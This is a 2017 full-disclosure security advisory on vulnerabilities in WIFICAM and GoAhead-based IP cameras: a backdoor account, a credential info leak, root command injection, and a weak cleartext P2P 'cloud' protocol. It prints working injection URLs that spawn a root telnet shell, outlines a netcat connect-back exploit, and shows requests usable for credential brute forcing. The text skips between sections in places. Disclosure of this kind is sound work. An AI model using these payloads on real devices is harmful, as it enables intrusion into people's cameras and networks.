Posted on 09 March 2017
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 ## Advisory Information Title: Multiple vulnerabilities found in Wireless IP Camera (P2P) WIFICAM cameras and vulnerabilities in GoAhead Advisory URL: https://pierrekim.github.io/advisories/2017-goahead-camera-0x00.txt Blog URL: https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html Date published: 2017-03-08 Vendors contacted: None Release mode: Released CVE: no current CVE ## Product Description The Wireless IP Camera (P2P) WIFICAM is a Chinese web camera which allows to stream remotely. [please visit the HTML version at https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html to see the image] ## Vulnerabilities Summary The Wireless IP Camera (P2) WIFICAM is a camera overall badly designed with a lot of vulnerabilities. This camera is very similar to a lot of other Chinese cameras. It seems that a generic camera is being sold by a Chinese company in bulk (OEM) and the buyer companies resell them with custom software development and specific branding. Wireless IP Camera (P2) WIFICAM is one of the branded cameras. So, cameras are sold under different names, brands and functions. The HTTP interface is different for each vendor but shares the same vulnerabilities. Because of code reusing, the vulnerabilities are present in a huge list of cameras (especially the InfoLeak and the RCE), which allow to execute root commands against 1250+ camera models with a pre-auth vulnerability. The summary of the vulnerabilities is: 1. Backdoor account 2. RSA key and certificates 3. Pre-Auth Info Leak (credentials) within the GoAhead http server 4. Authenticated RCE as root 5. Pre-Auth RCE as root 6. Misc - Streaming without authentication 7. Misc - "Cloud" (Aka Botnet) The vulnerabilities in the Cloud management affect a lot of P2P or "Cloud" cameras. My tests have shown that the InfoLeak affecting the GoAhead server running on the camera affects at least 1250+ camera models. It can be used to execute the RCE as root. Thus, these cameras are likely affected by a pre-auth RCE as root: 3G+IPCam Other 3SVISION Other 3com CASA 3com Other 3xLogic Other 3xLogic Radio 4UCAM Other 4XEM Other 555 Other 7Links 3677 7Links

This vulnerability allows an attacker to steal credentials, ftp accounts and smtp accounts (email). ## Details - Authenticated RCE as root A RCE exists in the ftp configuration CGI. This is well-documented as shown https://jumpespjump.blogspot.de/2015/09/how-i-hacked-my-ip-camera-and-found.html and https://www.pentestpartners.com/blog/hacking-the-aldi-ip-cctv-camera-part-2/ in several different camera models. The partition `/` is mounted in Read-Only, so modifications are not possible in this partition. The command injection is located in in `set_ftp.cgi` (see `$(ftp x.com)`): http://192.168.1.107/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(ftp x.com)ftp&dir=/&mode=PORT&upload_interval=0 http://192.168.1.107/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin When doing a tcpdump, we can see the DNS resolution for x.com: 00:00:00.151107 IP 192.168.1.107.33551 > 8.8.8.8.53: 40888+ A? x.com. (23) so, `ftp x.com` is executed. We can use the telnetd binary to start an authenticated-less telnetd access: user@kali$ wget -qO- 'http://192.168.1.107/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(telnetd -p25 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0' user@kali$ wget -qO- 'http://192.168.1.107/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin' Testing this will give us root account on port 25/tcp: user@kali$ telnet 192.168.1.107 25 Trying 192.168.1.107...

An exploit is provided and can be used to get a root RCE with connect-back. The exploit will: 1. extract the valid credentials by connecting to the remote GoAhead HTTP server of the targeted camera 2. plant a connect-back with `nc` 3. execute the payload 4. the attacker will receive a root shell with netcat on a second terminal 5. clean the payload located in the configuration file It affects 1250+ camera models.

You can tcpdump the traffic of the camera, which is very scary: 12:09:21.410947 IP 192.168.1.107.46958 > 8.8.8.8.53: 60806+ A? openapi.xg.qq.com.gateway.

(31) The camera tries to resolve `www.baidu.com`, `openapi.xg.qq.com`, contacts hardcoded IPs and hosts: - - `121.42.208.86:32100/udp` (CN: Alibaba), - - `54.221.213.97:32100/udp` (AWS US), - - `120.24.37.48:32100/udp` (CN: Alibaba), - - `www.baidu.com:80/tcp` (CN: Baidu). It appears this is the 'Cloud' functionality, enabled by default. The security of this functionality is not proven. The provided Android application to manage my camera is object.p2pwificam.client.apk [https://play.google.com/store/apps/details?id=object.p2pwificam.client]. [please visit the HTML version at https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html to see the image] Netcam 360 works too: [please visit the HTML version at https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html to see the image] It appears, the network protocol is very weak: 1. the camera contacts a remote server using UDP, 2. the application contacts a remote server using UDP, 3. the application sends a request to the remote server, asking if the camera with the specific serial-number is online, 4. the server will reply by "camera doesn't exit", "camera is offline" or "camera is online", 5. if the camera is online, a UDP tunnel is automaticaly established between the application and the camera, using the Cloud server as a relay. ### UDP tunnel: [Android Application] <===UDP===> Cloud server <===UDP===> [Camera] Then, the UDP tunnel is used by the application to reach the camera: 1/ the client will send a HTTP request to the camera with the credentials (still in clear-text) GET check_user.cgi?&loginuse=admin&loginpas=admin&user=admin&pwd=admin& or GET /check_user.cgi?&loginuse=admin&loginpas=admin&user=admin&pwd=admin& 2/ the camera will reply by using HTTP over UDP whenever the credentials are valid or invalid. If the credentials are valid, the camera will reply: result= 0; If the credentials are not valid, the camera will reply: result=-1 3/ if the credentials are valid, then the application will send HTTP requests to .cgi files hosted by the camera by appending credentials to the requests (`?loginuse=valid_user&loginpas=valid_pass`) ### Step 2 in detail: If the authentication is OK, so it is alright to dump all the configuration in cleartext! [please visit the HTML version at https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html to see the image] Note: this trace was done with one of the application listed below, to be sure applications are sharing the same "cloud" network (it appears the daemon running on the camera doesn't strictly respect the HTTP protocol - note the lack of `/` - but it works !). If the authentication is not OK. The cameras answers: result=-1; Due to the absence of checking, an attacker can simply bruteforce credentials. [please visit the HTML version at https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html to see the image] ### Step 3 in detail: The application sends: GET get_params.cgi?&loginuse=admin&loginpas=admin&user=admin&pwd=admin& OR GET /get_params.cgi?&loginuse=admin&loginpas=admin&user=admin&pwd=admin& The camera replies by sending all its configuration in clear-text: var now=1122211111; var dst_enable=0; var dst_time=0; var tz=0; var ntp_enable=1; var ntp_svr="time.nist.gov"; var dhcpen=1; var ip="192.168.2.76"; var mask="255.255.255.0"; var gateway="192.168.2.1"; var dns1="8.8.8.8"; var dns2="192.168.2.1"; var port=80; var nashost=""; var nasport=0; var dev2_host=""; var dev2_alias=""; var dev2_user=""; var dev2_pwd=""; var dev2_port=0; var dev3_host=""; var dev3_alias=""; var dev3_user=""; var dev3_pwd=""; var dev3_port=0; var dev4_host=""; var dev4_alias=""; var dev4_user=""; var dev4_pwd=""; var dev4_port=0; var dev5_host=""; var dev5_alias=""; var dev5_user=""; var dev5_pwd=""; var dev5_port=0; var dev6_host=""; var dev6_alias [...] var user1_name=""; var user1_pwd=""; var user2_name="wut"; var user2_pwd="wut"; var user3_name="admin"; var user3_pwd="admin"; [...] This is interesting because an attacker can reach a camera only by knowing a serial number. The UDP tunnel between the attacker and the camera is established even if the attacker doesn't know the credentials. It's useful to note the tunnel bypasses NAT and firewall, allowing the attacker to reach internal cameras (if they are connected to the Internet) and to bruteforce credentials. Then, the attacker can just try to bruteforce credentials of the camera: GET /get_params.cgi?&loginuse=admin&loginpas=TEST&user=admin&pwd=TEST& This protocol appears to be common to a lot of Android applications, ie: - - object.p2pwificam.client (https://play.google.com/store/apps/details?id=object.p2pwificam.client) (500.000 - 1.000.000 installations) - - hsl.p2pipcam (https://play.google.com/store/apps/details?id=hsl.p2pipcam) (100.000 - 500.000 installations) - - object.liouzx.client (https://play.google.com/store/apps/details?id=object.liouzx.client) (100.000 - 500.000 installations) - - object.lioupp.client (https://play.google.com/store/apps/details?id=object.lioupp.client) (100.000 - 500.000 installations) - - com.g_zhang.myp2pcam (https://play.google.com/store/apps/details?id=com.g_zhang.myp2pcam) (100.000 - 500.000 installations) - - object.aisaidezx.client (https://play.google.com/store/apps/details?id=object.aisaidezx.client) (50.000 - 100.000 installations) - - hsl.cam360 (https://play.google.com/store/apps/details?id=hsl.cam360) (10.000 - 50.000 installations) - - bravocam.p2pipcam (https://play.google.com/store/apps/details?id=bravocam.p2pipcam) (10.000 - 50.000 installations) - - xcam.p2pipcam (https://play.google.com/store/apps/details?id=xcam.p2pipcam) (10.000 - 50.000 installations) - - snugcam.p2pipcam (https://play.google.com/store/apps/details?id=snugcam.p2pipcam) (10.000 - 50.000 installations) - - myview.p2pipcam (https://play.google.com/store/apps/details?id=myview.p2pipcam) (5.000 - 10.000 installations) - - object.weimaisizx.client (https://play.google.com/store/apps/details?id=object.weimaisizx.client) (10.000 - 50.000 installations) - - com.tutk.P2PCamLive.Pixord (https://play.google.com/store/apps/details?id=com.tutk.P2PCamLive.Pixord) (10.000 - 50.000 installations) - - object.p2pnetwork.client (https://play.google.com/store/apps/details?id=object.p2pnetwork.client) (5.000 - 10.000 installations) This list is very far from being complete.

This "cloud" protocol seems to be more a botnet protocol than a legit remote access protocol and has indeed weakness (everything in clear-text, i.e. an attacker can attack cameras within the cloud and leverage potential access to hack internal networks). A lot of P2P ('Cloud') cameras are in fact using the same botnet protocols and the same infrastructure seemingly to be managed by a single entity. Writing a PoC which bruteforces credentials of the remote camera is left as an exercise for the reader. ## Vendor Response Due to difficulties in finding and contacting all the vendors, full-disclosure is applied. I advise to IMMEDIATELY DISCONNECT cameras to the Internet. Hundreds of thousands cameras are affected by the 0day Info-Leak. Millions of them are using the insecure Cloud network. ## Report Timeline * Feb 26, 2017: Vulnerabilities found by Pierre Kim. * Mar 08, 2017: A public advisory is sent to security mailing lists. ## Credits These vulnerabilities were found by Pierre Kim (@PierreKimSec). ## References https://pierrekim.github.io/advisories/2017-goahead-camera-0x00.txt https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html ## Disclaimer This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQIcBAEBCgAGBQJYv2UeAAoJEMQ+Dtp9ky28neMP/18McFaGxLqBaBjsbDFynjou IZN/iA6FYm27lfGJ3RME9U+G0IwLzQuWshF2hGPsqmogxLRNRE5QB20Yy9P4+nyH VtFqZ1tN6lfZhlQCKDlGr3UdYdwpuP+fNmC11KU153d3TT1c9lWjNnVcatEPPati wbxJK0EwZ9T8UuzT/hweBPxRH9RDeWjWUjIBrv0+sLuwKrxkPgkE0IXKHLTLoKhy DR0jQd5oCN8rorm5NCPGYCttBBSv0qwy4nIsgVzIViGoaumtrnOJUuwmHzVcvU1n oAQVY/WwU2GLjWHqamAY9n4H6FEGYd+vGAtwnbxdVXAHwlHgY34sO7wuomHXNWwL 52Hwm+65qdBx9+iD9IPZtNoOgwPuOxp7RReEvj144EDbVptAUy62f4ilR05+XQZL DmBxgqBwdLLVXBOnl/f7qj4ptERID2lW5XMUw6FURxXHrfle80Sgp/Yios8E/bcW SyQJmAgRy3ZzQ7m4uUmIiUgAuyq2F2DA+CB7/8nkysPruw+In/Tdj5WIWTAAb8aT ksZ05z+tGHYMXt8NlGvKLYcAmhU9Nw8X1KF4ChCuA59jy1fNjUplAyl6AemzAETB Sknfr7lSQMGGY+GyQ1X3NxHfjAcWytpVsjb+/UOJE+Y+hHP59pRL5Smo1lOE9BWz 0VEWlkNCYSlBtIXqVQqW =iiUl -----END PGP SIGNATURE----- -- Pierre Kim pierre.kim.sec@gmail.com @PierreKimSec https://pierrekim.github.io/
